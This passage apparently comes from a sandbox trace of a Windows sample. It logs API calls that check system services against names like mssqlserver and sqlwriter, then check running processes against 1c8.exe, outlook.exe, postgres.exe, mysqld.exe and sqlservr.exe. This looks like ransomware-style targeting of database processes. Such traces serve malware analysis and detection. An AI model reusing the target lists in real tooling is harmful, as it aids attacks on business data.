lpString2="AudioSrv") returned 1 [0041.255] lstrlenW (lpString="BFE") returned 3 [0041.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.255] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.255] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.255] lstrlenW (lpString="CryptSvc") returned 8 [0041.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.255] lstrlenW (lpString="CscService") returned 10 [0041.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.256] lstrlenW (lpString="DcomLaunch") returned 10 [0041.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.256] lstrlenW (lpString="Dhcp") returned 4 [0041.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.256] lstrlenW (lpString="Dnscache") returned 8 [0041.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.256] lstrlenW (lpString="DPS") returned 3 [0041.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.256] lstrlenW (lpString="eventlog") returned 8 [0041.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.256] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.256] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.256] lstrlenW (lpString="EventSystem") returned 11 [0041.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.256] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.257] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.257] lstrlenW (lpString="FontCache") returned 9 [0041.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0041.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0041.257] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0041.257] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0041.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0041.257] lstrlenW (lpString="gpsvc") returned 5 [0041.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.257] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.257] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.257] lstrlenW (lpString="iphlpsvc") returned 8 [0041.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.257] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.257] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.257] lstrlenW (lpString="LanmanServer") returned 12 [0041.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.257] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.257] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.257] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.257] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.257] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.257] lstrlenW (lpString="lmhosts") returned 7 [0041.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.258] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.258] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.258] lstrlenW (lpString="MMCSS") returned 5 [0041.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.258] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.258] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.258] lstrlenW (lpString="MpsSvc") returned 6 [0041.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.258] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.258] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.258] lstrlenW (lpString="Netman") returned 6 [0041.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.258] lstrlenW (lpString="netprofm") returned 8 [0041.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.258] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.258] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.258] lstrlenW (lpString="NlaSvc") returned 6 [0041.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.258] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.258] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.259] lstrlenW (lpString="nsi") returned 3 [0041.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.259] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.259] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.259] lstrlenW (lpString="PcaSvc") returned 6 [0041.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.259] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.259] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.259] lstrlenW (lpString="PlugPlay") returned 8 [0041.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.259] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.259] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.259] lstrlenW (lpString="Power") returned 5 [0041.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.259] lstrlenW (lpString="ProfSvc") returned 7 [0041.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.259] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.259] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.259] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.259] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.259] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.260] lstrlenW (lpString="RpcSs") returned 5 [0041.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.260] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.260] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.260] lstrlenW (lpString="SamSs") returned 5 [0041.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.260] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.260] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.260] lstrlenW (lpString="Schedule") returned 8 [0041.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.260] lstrlenW (lpString="SENS") returned 4 [0041.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.260] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.260] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.260] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.260] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.260] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.260] lstrlenW (lpString="Spooler") returned 7 [0041.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.261] lstrlenW (lpString="sppsvc") returned 6 [0041.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0041.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0041.261] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0041.261] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0041.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0041.261] lstrlenW (lpString="SysMain") returned 7 [0041.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.261] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.261] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.261] lstrlenW (lpString="Themes") returned 6 [0041.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.261] lstrlenW (lpString="TrkWks") returned 6 [0041.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.261] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.261] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.261] lstrlenW (lpString="UxSms") returned 5 [0041.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.261] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.261] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.261] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.261] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.261] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.262] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.262] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.262] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.262] lstrlenW (lpString="WinDefend") returned 9 [0041.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0041.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0041.262] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0041.262] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0041.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0041.262] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.262] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.262] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.262] lstrlenW (lpString="Winmgmt") returned 7 [0041.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.262] lstrlenW (lpString="wscsvc") returned 6 [0041.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0041.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0041.262] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0041.262] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0041.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0041.262] lstrlenW (lpString="wuauserv") returned 8 [0041.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0041.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0041.262] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0041.262] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0041.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0041.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f3708 | out: hHeap=0x520000) returned 1 [0041.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0041.269] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.270] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.270] lstrlenW (lpString="System") returned 6 [0041.270] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.270] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.270] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.270] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.270] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.270] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.270] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.270] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.271] lstrlenW (lpString="smss.exe") returned 8 [0041.271] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.271] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.271] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.271] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.271] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.271] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.271] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.272] lstrlenW (lpString="csrss.exe") returned 9 [0041.272] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.272] lstrlenW (lpString="wininit.exe") returned 11 [0041.272] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.273] lstrlenW (lpString="csrss.exe") returned 9 [0041.273] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.273] lstrlenW (lpString="winlogon.exe") returned 12 [0041.273] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.274] lstrlenW (lpString="services.exe") returned 12 [0041.274] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.274] lstrlenW (lpString="lsass.exe") returned 9 [0041.274] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.275] lstrlenW (lpString="lsm.exe") returned 7 [0041.275] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.275] lstrlenW (lpString="svchost.exe") returned 11 [0041.275] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.276] lstrlenW (lpString="svchost.exe") returned 11 [0041.276] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, 